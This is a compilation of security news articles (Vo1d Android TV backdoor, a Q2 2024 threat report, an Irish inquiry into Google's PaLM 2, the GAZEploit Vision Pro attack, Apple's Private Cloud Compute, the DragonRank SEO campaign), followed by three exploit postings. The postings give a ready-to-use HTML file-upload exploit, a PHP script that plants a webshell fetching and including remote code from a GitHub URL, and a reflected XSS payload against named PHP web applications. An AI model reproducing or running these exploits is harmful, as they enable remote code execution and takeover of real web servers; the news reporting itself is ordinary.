Nearly 1.3 million Android-based TV boxes running outdated versions of the operating system and belonging to users spanning 197 countries have been infected by a new malware dubbed Vo1d (aka Void).
"It is a backdoor that puts its components in the system storage area and, when commanded by attackers, is capable of secretly downloading and installing third-party software," Russian antivirus

Nearly 1.3 million Android-based TV boxes running outdated versions of the operating system and belonging to users spanning 197 countries have been infected by a new malware dubbed Vo1d (aka Void).

"It is a backdoor that puts its components in the system storage area and, when commanded by attackers, is capable of secretly downloading and installing third-party software," Russian antivirus vendor Doctor Web said in a report published today.

A majority of the infections have been detected in Brazil, Morocco, Pakistan, Saudi Arabia, Argentina, Russia, Tunisia, Ecuador, Malaysia, Algeria, and Indonesia.

It's currently not known what the source of the infection is, although it's suspected that it may have either involved an instance of prior compromise that allows for gaining root privileges or the use of unofficial firmware versions with built-in root access.

The following TV models have been targeted as part of the campaign -

*   KJ-SMART4KVIP (Android 10.1; KJ-SMART4KVIP Build/NHG47K)
*   R4 (Android 7.1.2; R4 Build/NHG47K)
*   TV BOX (Android 12.1; TV BOX Build/NHG47K)

The attack entails the substitution of the "/system/bin/debuggerd" daemon file (with the original file moved to a backup file named "debuggerd\_real"), as well as the introduction of two new files – "/system/xbin/vo1d" and "/system/xbin/wd" – which contain the malicious code and operate concurrently.

"Before Android 8.0, crashes were handled by the debuggerd and debuggerd64 daemons," Google notes in its Android documentation. "In Android 8.0 and higher, crash\_dump32 and crash\_dump64 are spawned as needed."

Two different files shipped as part of the Android operating system – install-recovery.sh and daemonsu – have been modified as part of the campaign to trigger the execution of the malware by starting the "wd" module.

"The trojan's authors probably tried to disguise one if its components as the system program '/system/bin/vold,' having called it by the similar-looking name 'vo1d' (substituting the lowercase letter 'l' with the number '1')," Doctor Web said.

The "vo1d" payload, in turn, starts "wd" and ensures it's persistently running, while also downloading and running executables when instructed by a command-and-control (C2) server. Furthermore, it keeps tabs on specified directories and installs the APK files that it finds in them.

"Unfortunately, it is not uncommon for budget device manufacturers to utilize older OS versions and pass them off as more up-to-date ones to make them more attractive," the company said.

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Beware: New Vo1d Malware Infects 1.3 Million Android TV Boxes Worldwide

Cato CTRL (Cyber Threats Research Lab) has released its Q2 2024 Cato CTRL SASE Threat Report. The report highlights critical findings based on the analysis of a staggering 1.38 trillion network flows from more than 2,500 of Cato’s global customers, between April and June 2024.
Key Insights from the Q2 2024 Cato CTRL SASE Threat Report
The report is packed with unique insights that are based on

Threat Intelligence / Cybercrime

Cato CTRL (Cyber Threats Research Lab) has released its Q2 2024 Cato CTRL SASE Threat Report. The report highlights critical findings based on the analysis of a staggering 1.38 trillion network flows from more than 2,500 of Cato's global customers, between April and June 2024.

**Key Insights from the Q2 2024 Cato CTRL SASE Threat Report**

The report is packed with unique insights that are based on thorough data analysis of network flows. The top three insights for enterprises are as follows.

**1) IntelBroker: A Persistent Threat Actor in the Cyber Underground**

During an in-depth investigation into hacking communities and the dark web, Cato CTRL identified a notorious threat actor known as IntelBroker. IntelBroker is a prominent figure and moderator within the BreachForums hacking community and has been actively involved in the sale of data and source code from major organizations. These include AMD, Apple, Facebook, KrypC, Microsoft, Space-Eyes, T-Mobile and the US Army Aviation and Missile Command.

**2) 66% of Brand Spoofing Focuses on Amazon**

Cybersquatting is the spoofing and exploitation of a brand's domain name to profit from its registered trademark. The report finds that Amazon was the most frequently spoofed brand, with 66% of such domains targeting the retail giant. Google followed, albeit at a distant second, with 7%.

**3) Log4j _Still_ Being Exploited**

Despite being discovered in 2021, the Log4j vulnerability remains a favored tool among threat actors. From Q1 to Q2 2024, Cato CTRL recorded a 61% increase in attempted Log4j exploits in inbound traffic and a 79% rise in WANbound traffic. Similarly, the Oracle WebLogic vulnerability, first identified in 2020, saw a 114% increase in exploitation attempts within WANbound traffic over the same period.

**Security Recommendations**

Based on the findings of the report, Cato CTRL advises organizations to adopt the following best practices:

1.  Regularly monitor dark web forums and marketplaces for any mention of your company's data or credentials being sold.
2.  Employ tools and techniques to detect and mitigate phishing and other attacks that leverage cybersquatting.
3.  Establish a proactive patching schedule focused on critical vulnerabilities, particularly those actively targeted by threat actors, such as Log4j.
4.  Create a step-by-step plan for responding to a data breach.
5.  Adopt an "assume breach" mentality with methods like ZTNA, XDR, pen testing and more.
6.  Develop an AI governance strategy.

Read additional recommendations with more details in the report.

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Top 3 Threat Report Insights for Q2 2024

The Irish Data Protection Commission (DPC) has announced that it has commenced a "Cross-Border statutory inquiry" into Google's foundational artificial intelligence (AI) model to determine whether the tech giant has adhered to data protection regulations in the region when processing the personal data of European users.
"The statutory inquiry concerns the question of whether Google has complied

Regulatory Compliance / Data Protection

The Irish Data Protection Commission (DPC) has announced that it has commenced a "Cross-Border statutory inquiry" into Google's foundational artificial intelligence (AI) model to determine whether the tech giant has adhered to data protection regulations in the region when processing the personal data of European users.

"The statutory inquiry concerns the question of whether Google has complied with any obligations that it may have had to undertake an assessment, pursuant to Article 35\[2\] of the General Data Protection Regulation (Data Protection Impact Assessment), prior to engaging in the processing of the personal data of E.U./E.E.A. data subjects associated with the development of its foundational AI model, Pathways Language Model 2 (PaLM 2)," the DPC said.

PaLM 2 is Google's state-of-the-art language model with improved multilingual, reasoning, and coding capabilities. It was unveiled by the company in May 2023.

With Google's European headquarters based in Dublin, the DPC acts as the primary regulator responsible for making sure the company abides by the bloc's stringent data privacy rulebook.

The DPC said an inquiry is crucial to ensure that individuals' fundamental rights and freedoms are safeguarded, especially when processing of such data when developing AI systems can lead to a "high risk."

The development comes weeks after social media platform X permanently agreed not to train its AI chatbot, Grok, using the personal data it collected from European users without obtaining prior consent. Back in August, the DPC said X consented to suspend its "processing of the personal data contained in the public posts of X's E.U./E.E.A. users which it processed between 7 May 2024 and 1 August 2024."

Meta, which recently admitted to scraping every Australian adult Facebook user's public data to train its AI system, has paused its plans to use content posted by European users following a request from the DPC over privacy concerns. It has also suspended the use of generative AI (GenAI) in Brazil after the country's data protection authority issued a preliminary ban objecting to its new privacy policy.

Last year, Italy's data privacy regulator also temporarily banned OpenAI's ChatGPT because of concerns that its practices are in violation of data protection laws in the region.

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Ireland's Watchdog Launches Inquiry into Google's AI Data Practices in Europe

The Vision Pro uses 3D avatars on calls and for streaming. These researchers used eye tracking to work out the passwords and PINs people typed with their avatars.

The GAZEploit attack consists of two parts, says Zhan, one of the lead researchers. First, the researchers created a way to identify when someone wearing the Vision Pro is typing by analyzing the 3D avatar they are sharing. For this, they trained a recurrent neural network, a type of deep learning model, with recordings of 30 people’s avatars while they completed a variety of typing tasks.

When someone is typing using the Vision Pro, their gaze fixates on the key they are likely to press, the researchers say, before quickly moving to the next key. “When we are typing our gaze will show some regular patterns,” Zhan says.

Wang says these patterns are more common during typing than if someone is browsing a website or watching a video while wearing the headset. “During tasks like gaze typing, the frequency of your eye blinking decreases because you are more focused,” Wang says. In short: Looking at a QWERTY keyboard and moving between the letters is a pretty distinct behavior.

The second part of the research, Zhan explains, uses geometric calculations to work out where someone has positioned the keyboard and the size they’ve made it. “The only requirement is that as long as we get enough gaze information that can accurately recover the keyboard, then all following keystrokes can be detected.”

Combining these two elements, they were able to predict the keys someone was likely to be typing. In a series of lab tests, they didn’t have any knowledge of the victim’s typing habits, speed, or know where the keyboard was placed. However, the researchers could predict the correct letters typed, in a maximum of five guesses, with 92.1 percent accuracy in messages, 77 percent of the time for passwords, 73 percent of the time for PINs, and 86.1 percent of occasions for emails, URLs, and webpages. (On the first guess, the letters would be right between 35 and 59 percent of the time, depending on what kind of information they were trying to work out.) Duplicate letters and typos add extra challenges.

“It’s very powerful to know where someone is looking,” says Alexandra Papoutsaki, an associate professor of computer science at Pomona College who has studied eye tracking for years and reviewed the GAZEploit research for WIRED.

Papoutsaki says the work stands out as it only relies on the video feed of someone’s Persona, making it a more “realistic” space for an attack to happen when compared to a hacker getting hands-on with someone’s headset and trying to access eye tracking data. “The fact that now someone, just by streaming their Persona, could expose potentially what they’re doing is where the vulnerability becomes a lot more critical,” Papoutsaki says.

While the attack was created in lab settings and hasn’t been used against anyone using Personas in the real world, the researchers say there are ways hackers could have abused the data leakage. They say, theoretically at least, a criminal could share a file with a victim during a Zoom call, resulting in them logging into, say, a Google or Microsoft account. The attacker could then record the Persona while their target logs in and use the attack method to recover their password and access their account.

**Quick Fixes**

The GAZEpolit researchers reported their findings to Apple in April and subsequently sent the company their proof-of-concept code so the attack could be replicated. Apple fixed the flaw in a Vision Pro software update at the end of July, which stops the sharing of a Persona if someone is using the virtual keyboard.

An Apple spokesperson confirmed the company fixed the vulnerability, saying it was addressed in VisionOS 1.3. The company’s software update notes do not mention the fix. The researchers say Apple assigned CVE-2024-40865 for the vulnerability and recommend people download the latest software updates.

Apple Vision Pro’s Eye Tracking Exposed What People Type

Private Cloud Compute is an entirely new kind of infrastructure that, Apple’s Craig Federighi tells WIRED, allows your personal data to be “hermetically sealed inside of a privacy bubble.”

The generative AI boom has, in many ways, been a privacy bust thus far, as services slurp up web data to train their machine learning models and users’ personal information faces a new era of potential threats and exposures. With the release of Apple’s iOS 18 and macOS Sequoia this month, the company is joining the fray, debuting Apple Intelligence, which the company says will ultimately be a foundational service in its ecosystem. But Apple has a reputation to uphold for prioritizing privacy and security, so the company took a big swing. It has developed extensive custom infrastructure and transparency features, known as Private Cloud Compute (PCC), for the cloud services Apple Intelligence uses when the system can't fulfill a query locally on a user's device.

The beauty of on-device data processing, or “local” processing, is that it limits the paths an attacker can take to steal a user's data. The data never leaves the computer or phone, so that's what the attacker has to target. It doesn't mean an attack will never be successful, but the battleground is defined and constrained. Giving data to a company to process in the cloud isn't inherently a security issue—an unfathomable amount of data moves through global cloud infrastructure safely every day. But it expands that battlefield immensely and also creates more opportunities for mistakes that inadvertently expose data. The latter has particularly been an issue with generative AI given the unintended ways that a system tasked with generating content may access and share information.

With Private Cloud Compute, Apple has developed an array of innovative cloud security technologies. But the service is also significant for pushing the limits of what is an acceptable business proposition for a cloud service, seemingly prioritizing secure architecture over what would be most technically efficient or economical.

“We set out from the beginning with a goal of how can we extend the kinds of privacy guarantees that we’ve established with processing on-device with iPhone to the cloud—that was the mission statement," Craig Federighi, senior vice president of software engineering at Apple, tells WIRED. “It took breakthroughs on every level to pull this together, but what we’ve done is achieve our goal. I think this sets a new standard for processing in the cloud in the industry.”

To remove many of the potential attack points and pitfalls that cloud computing can introduce, Apple says its developers focused on the idea that “security and privacy guarantees are strongest when they are entirely technically enforceable” rather than implemented through policies.

In other words, you can have a plate of cupcakes on the counter and make a policy for yourself that you're not going to eat any of them. Or you could have a policy that you never make or buy cupcakes. But the Private Cloud Compute approach would be to move to a town with no bakeries, rip out your kitchen, and close your credit cards to prevent yourself from buying Easy Bake Ovens. That way there's no question about your cupcake access or the possibility of accidental cupcake hoarding.

**Starting Fresh**

Apple created purpose-built servers running Apple processors for PCC and developed a custom PCC server operating system that's a stripped down, hybrid version of iOS and macOS. The scheme incorporates hardware and software security features the company has developed for Macs and iPhones over the past two decades.

Unlike these consumer devices, though, PCC servers are as bare-bones as possible. For example, they don't include “persistent storage,” meaning that they don't have a hard drive that can keep processed data long-term. They do incorporate Apple's dedicated hardware encryption key manager known as the Secure Enclave and randomize each file system's encryption key at every boot up as well. This means that once a PCC server is rebooted, no data is retained and, as an additional precaution, the entire system volume is cryptographically unrecoverable. At that point, all the server can do is start fresh with a new encryption key.

PCC servers also use Apple's Secure Boot to validate the integrity of the operating system and use a code verification feature the company debuted with iOS 17, known as Trusted Execution Monitor. Instead of using Trusted Execution Monitor in the usual way for oversight, though, PCC runs it in a much stricter mode where once the server restarts and completes the boot sequence, the system locks down and can't load any new code whatsoever. Essentially, all the software the server needs to run gets pummeled with checks and validation and then goes into an envelope that's sealed before user requests and data can begin to process through.

More broadly, Apple says it completely replaced its normal server management tools for PCC. For example, most cloud platforms have policies and controls to prevent unauthorized access, but they also build “break in case of emergency”-type options so highly trusted system administrator accounts can take quick action in case of a bug or failure. In keeping with Apple's focus on technically enforceable guarantees versus policy guarantees, PCC doesn't allow privileged access and drastically limits remote management options.

In recent years, Apple took a major security step by offering its users end-to-end encryption for iCloud backups, in which the company simply holds data in its cloud infrastructure for its customers and doesn't have the technical capability to decrypt and read that data. With current technology, such a scheme is impossible to implement for generative AI because the system needs to process the inputs to give an output. For example, if you want Apple Intelligence to give you a summary of all the text messages and emails you've received in the past three hours, the system needs access to those messages. End-to-end encryption would make that access virtually impossible.

Apple says it is still committed to doing as much Apple Intelligence processing as possible on-device, and a brand new iPhone 16 with its A18 chip, for example, will be able to do more AI processing locally than an iPhone 15 with an A16 chip. Still, the reality seems to be that Apple will need to do a substantial amount of Apple Intelligence processing in the cloud—hence the investment in developing PCC. (In iOS 18.1, users can go to Settings > Privacy & Security > Apple Intelligence Report to view a log of which requests are processed on device versus in the cloud.)

“What was really unique about the problem of doing large language model inference in the cloud was that the data had to at some level be readable by the server so it could perform the inference. And yet, we needed to make sure that that processing was hermetically sealed inside of a privacy bubble with your phone," Federighi says. “So we had to do something new there. The technique of end-to-end encryption—where the server knows nothing—wasn’t possible here, so we had to come up with another solution to achieve a similar level of security.”

Still, Apple says that it offers “end-to-end encryption from the user’s device to the validated PCC nodes, ensuring the request cannot be accessed in transit by anything outside those highly protected PCC nodes.” The system is architected so Apple Intelligence data is cryptographically unavailable to standard data center services like load balancers and logging devices. Inside a PCC cluster, data is decrypted and processed, but Apple emphasizes that once a response is encrypted and sent on its journey to the user, no data is retained or logged and none of it is ever accessible to Apple or its individual employees.

**Open Book, Closed System**

Apple says the overarching vision for PCC is that an attacker should have to compromise the entire system—a difficult thing to do at all much less without being detected—in order to target a specific user's personal data. Even if an attacker could physically compromise an individual live PCC node, the system is devised with an anonymous relay feature so the queries and data on any one node can't be connected to individual users.

It all sounds pretty groovy, but the notoriously secretive company seems to be aware that professing to do all of these things and claiming to offer technical guarantees is ultimately only compelling with proof and transparency. So PCC includes an external auditing mechanism that serves a crucial dual purpose.

Apple is making every production PCC server build publicly available for inspection so people unaffiliated with Apple can verify that PCC is doing (and not doing) what the company claims, and that everything is implemented correctly. All of the PCC server images are recorded in a cryptographic attestation log, essentially an indelible record of signed claims, and each entry includes a URL for where to download that individual build. PCC is designed so Apple can't put a server into production without logging it. And in addition to offering transparency, the system works as a crucial enforcement mechanism to prevent bad actors from setting up rogue PCC nodes and diverting traffic. If a server build hasn't been logged, iPhones will not send Apple Intelligence queries or data to it.

PCC is part of Apple's bug bounty program, and vulnerabilities or misconfigurations researchers find could be eligible for cash rewards. Apple says, though, that since the iOS 18.1 beta became available in late July, no on has found any flaws in PCC so far. The company recognizes that it has only made the tools to evaluate PCC available to a select group of researchers so far.

Multiple security researchers and cryptographers tell WIRED that Private Cloud Compute looks promising, but they haven't spent significant time digging into it yet.

“Building Apple silicon servers in the data center when we didn’t have any before, building a custom OS to run in the data center was huge,” Federighi says. He adds that “creating the trust model where your device will refuse to issue a request to a server unless the signature of all the software the server is running has been published to a transparency log was certainly one of the most unique elements of the solution—and totally critical to the trust model.”

To questions about Apple's partnership with OpenAI and integration of ChatGPT, the company emphasizes that partnerships are not covered by PCC and operate separately. ChatGPT and other integrations are turned off by default, and users must manually enable them. Then, if Apple Intelligence determines that a request would be better fulfilled by ChatGPT or another partner platform, it notifies the user each time and asks whether to proceed. Additionally, people can use these integrations while logged into their account for a partner service like ChatGPT or can use them through Apple without logging in separately. Apple said in June that another integration with Google's Gemini is also in the works.

Apple said this week that beyond launching in United States English, Apple Intelligence is coming to Australia, Canada, New Zealand, South Africa, and the United Kingdom in December. The company also said that additional language support—including for Chinese, French, Japanese, and Spanish—will drop next year. Whether that means that Apple Intelligence will be permitted under the European Union's AI Act and whether Apple will be able to offer PCC in its current form in China is another question.

“Our goal is to bring ideally everything we can to provide the best capabilities to our customers everywhere we can,” Federighi says. “But we do have to comply with regulations, and there is uncertainty in certain environments we’re trying to sort out so we can bring these features to our customers as soon as possible. So, we’re trying.”

He adds that as the company expands its ability to do more Apple Intelligence computation on-device, it may be able to use this as a workaround in some markets.

Those who do get access to Apple Intelligence will have the ability to do far more than they could with past versions of iOS, from writing tools to photo analysis. Federighi says that his family celebrated their dog’s recent birthday with an Apple Intelligence–generated GenMoji (viewed and confirmed to be very cute by WIRED). But while Apple's AI is meant to be as helpful and invisible as possible, the stakes are incredibly high for the security of the infrastructure underpinning it. So how are things going so far? Federighi sums it up without hesitation: “The rollout of Private Cloud Compute has been delightfully uneventful.”

Apple Intelligence Promises Better AI Privacy. Here’s How It Actually Works

DragonRank, a Chinese-speaking hacking group, has compromised 30+ Windows servers globally. They exploit IIS vulnerabilities to manipulate SEO…

DragonRank, a Chinese-speaking hacking group, has compromised 30+ Windows servers globally. They exploit IIS vulnerabilities to manipulate SEO rankings, distribute scam websites, and spread malware like PlugX and BadIIS.

A Chinese-speaking hacking group, known as “DragonRank,” has been discovered compromising over 30 Windows servers across the globe, including in Thailand, India, Korea, Belgium, Netherlands, and China.

The group’s primary goal is to manipulate search engine crawlers and disrupt the Search Engine Optimization (SEO) of affected sites, ultimately distributing scam websites to unsuspecting users.

One of the DragonRank’s advertisement websites on Google is plagued with malware

****How the Attack Works****

The DragonRank hacking group gains initial access to Windows Internet Information Services (IIS) servers by exploiting vulnerabilities in web application services, such as phpMyAdmin, WordPress, or similar web applications. Once they obtain the ability to execute remote code or upload files on the targeted site, they deploy a web shell like ASPXspy, granting them control over the compromised server.

According to Cisco Talos’ long and technical report shared with Hackread.com ahead of publishing on Tuesday, the group then utilizes the web shell to collect system information and launch malware, including PlugX and BadIIS, as well as credential-harvesting utilities like Mimikatz, PrintNotifyPotato, BadPotato, and GodPotato. They also breach additional Windows IIS servers in the target’s network, either through web shell deployment or by exploiting remote desktop logins using acquired credentials.

For your information, PlugX is a well-known RAT (remote access tool) equipped with modular plugins and property configurations, deployed by various Chinese-speaking cyber threat actors for over ten years. The PlugX configuration in this campaign contains all necessary values and information to properly run the executable.

On the other hand, BadIIS is a malware used to manipulate search engine crawlers and hyperlink jumps. The version of BadIIS detected in this campaign shares similar traits with the one mentioned (PDF) at Black Hat USA 2021, including configuration as an IIS proxy and capabilities for SEO fraud.

Interestingly, researchers also noted that DragonRank operates much like a business, with a commercial website offering their services in both Chinese and English. They engage with clients through platforms like Telegram and QQ, providing tailored SEO fraud services. Their business model includes a cautionary note about transaction confirmations, suggesting they operate with a level of professionalism uncommon in typical cybercrime groups.

Nevertheless, the DragonRank hacking group’s activities are a threat to online security, as they can drive traffic to malicious sites, increase the visibility of fraudulent content, or disrupt competitors by artificially inflating or deflating rankings.

These attacks can harm a company’s online presence, lead to financial losses, and damage its reputation by associating the brand with deceptive or harmful practices. Therefore, businesses and IT departments must:

*   **Use Advanced Threat Detection:** Implement solutions that can detect and respond to sophisticated malware like PlugX.
*   **Regularly Update Security Measures:** Ensure all systems, especially web servers, are patched against known vulnerabilities.
*   **Monitor Network Traffic:** Look for unusual outbound connections or changes in server behavior that might indicate malware like BadIIS.
*   **Educate Staff:** Awareness training on cyber threats can help in early detection of phishing or other social engineering attempts.

1.  **Chinese SMS Phishing Group Hits iPhone Users in India Post Scam**
2.  **ValleyRAT Malware Targets Chinese Windows Users in New Attack**
3.  **Chinese Velvet Ant APT Target F5 Devices in Years-Long Espionage**
4.  **“Unfading Sea Haze” Hackers Hit Military Targets in South China Sea**
5.  **Chinese Blackwood APT Deploys NSPX30 Backdoor in Cyberespionage**

Chinese DragonRank Hackers Exploit Global Windows Servers in SEO Fraud

A "simplified Chinese-speaking actor" has been linked to a new campaign that has targeted multiple countries in Asia and Europe with the end goal of performing search engine optimization (SEO) rank manipulation.
The black hat SEO cluster has been codenamed DragonRank by Cisco Talos, with victimology footprint scattered across Thailand, India, Korea, Belgium, the Netherlands, and China.
"

A "simplified Chinese-speaking actor" has been linked to a new campaign that has targeted multiple countries in Asia and Europe with the end goal of performing search engine optimization (SEO) rank manipulation.

The black hat SEO cluster has been codenamed **DragonRank** by Cisco Talos, with victimology footprint scattered across Thailand, India, Korea, Belgium, the Netherlands, and China.

"DragonRank exploits targets' web application services to deploy a web shell and utilizes it to collect system information and launch malware such as PlugX and BadIIS, running various credential-harvesting utilities," security researcher Joey Chen said.

The attacks have led to compromises of 35 Internet Information Services (IIS) servers with the end goal of deploying the BadIIS malware, which was first documented by ESET in August 2021.

It's specifically designed to facilitate proxy ware and SEO fraud by turning the compromised IIS server into a relay point for malicious communications between its customers (i.e., other threat actors) and their victims.

On top of that, it can modify the content served to search engines to manipulate search engine algorithms and boost the ranking of other websites of interest to the attackers.

"One of the most surprising aspects of the investigation is how versatile IIS malware is, and the \[detection of\] SEO fraud criminal scheme, where malware is misused to manipulate search engine algorithms and help boost the reputation of third-party websites," security researcher Zuzana Hromcova told The Hacker News at the time.

The latest set of attacks highlighted by Talos spans a broad spectrum of industry verticals, including jewelry, media, research services, healthcare, video and television production, manufacturing, transportation, religious and spiritual organizations, IT services, international affairs, agriculture, sports, and feng shui.

The attack chains commence with taking advantage of known security flaws in web applications like phpMyAdmin and WordPress to drop the open-source ASPXspy web shell, which then acts as a conduit to introduce supplemental tools into the targets' environment.

The primary objective of the campaign is to compromise the IIS servers hosting corporate websites, abusing them to implant the BadIIS malware and effectively repurposing them as a launchpad for scam operations by utilizing keywords related to porn and sex.

Another significant aspect of the malware is its ability to masquerade as the Google search engine crawler in its User-Agent string when it relays the connection to the command-and-control (C2) server, thereby allowing it to bypass some website security measures.

"The threat actor engages in SEO manipulation by altering or exploiting search engine algorithms to improve a website's ranking in search results," Chen explained. "They conduct these attacks to drive traffic to malicious sites, increase the visibility of fraudulent content, or disrupt competitors by artificially inflating or deflating rankings."

One important way DragonRank distinguishes itself from other black hat SEO cybercrime groups is in the manner it attempts to breach additional servers within the target's network and maintain control over them using PlugX, a backdoor widely shared by Chinese threat actors, and various credential-harvesting programs such as Mimikatz, PrintNotifyPotato, BadPotato, and GodPotato.

Although the PlugX malware used in the attacks relies on DLL side-loading techniques, the loader DLL responsible for launching the encrypted payload uses the Windows Structured Exception Handling (SEH) mechanism in an attempt to ensure that the legitimate file (i.e., the binary susceptible to DLL side-loading) can load the PlugX without tripping any alarms.

Evidence unearthed by Talos points to the threat actor maintaining a presence on Telegram under the handle "tttseo" and the QQ instant message application to facilitate illegal business transactions with paying clients.

"These adversaries also offer seemingly quality customer service, tailoring promotional plans to best fit their clients' needs," Chen added.

"Customers can submit the keywords and websites they wish to promote, and DragonRank develops a strategy suited to these specifications. The group also specializes in targeting promotions to specific countries and languages, ensuring a customized and comprehensive approach to online marketing."

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DragonRank Black Hat SEO Campaign Targeting IIS Servers Across Asia and Europe

Queuing Simple Chatbot version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Queuing Simple Chatbot 1.0 Remote File Upload Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/queuing.zip                                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This HTML page is designed to remotely upload PHP malicious files directly.    [+] Line 33 set url of target.[+] The path to upload the files : http://127.0.0.1/chatbot/uploads/[+] Save Code as html :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Direct arbitrary File Upload</title></head><body>    <h2>Direct arbitrary File Upload</h2>    <form id="uploadForm">        <label for="fileInput">Select File:</label>        <input type="file" id="fileInput" name="fileInput" required><br><br>        <button type="button" onclick="uploadFile()">Upload File</button>    </form>    <script>        function uploadFile() {            const fileInput = document.getElementById('fileInput').files[0];            if (!fileInput) {                alert('Please select a file.');                return;            }            const formData = new FormData();            formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>');            formData.append('img', fileInput);            console.log("(+) Uploading file...");            fetch('http://127.0.0.1/chatbot/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL                method: 'POST',                body: formData            })            .then(response => response.text())            .then(data => {                if (data === '1') {                    console.log("(+) File upload seems to have been successful!");                } else {                    console.log("(-) Oh no, the file upload seems to have failed!");                }            })            .catch(error => console.error("(-) Error during file upload:", error));        }    </script></body></html>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Queuing Simple Chatbot 1.0 Shell Upload

Profiling System version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Profiling System 1.0 code injection Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 26    Line 35  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(        'upload' => '',        'per_file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'per_name' => 'inouva',        'file_name' => '123',        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/ProfilingSystem/add_file_query.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/ProfilingSystem/uploads/$file_name\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Profiling System 1.0 Shell Upload

Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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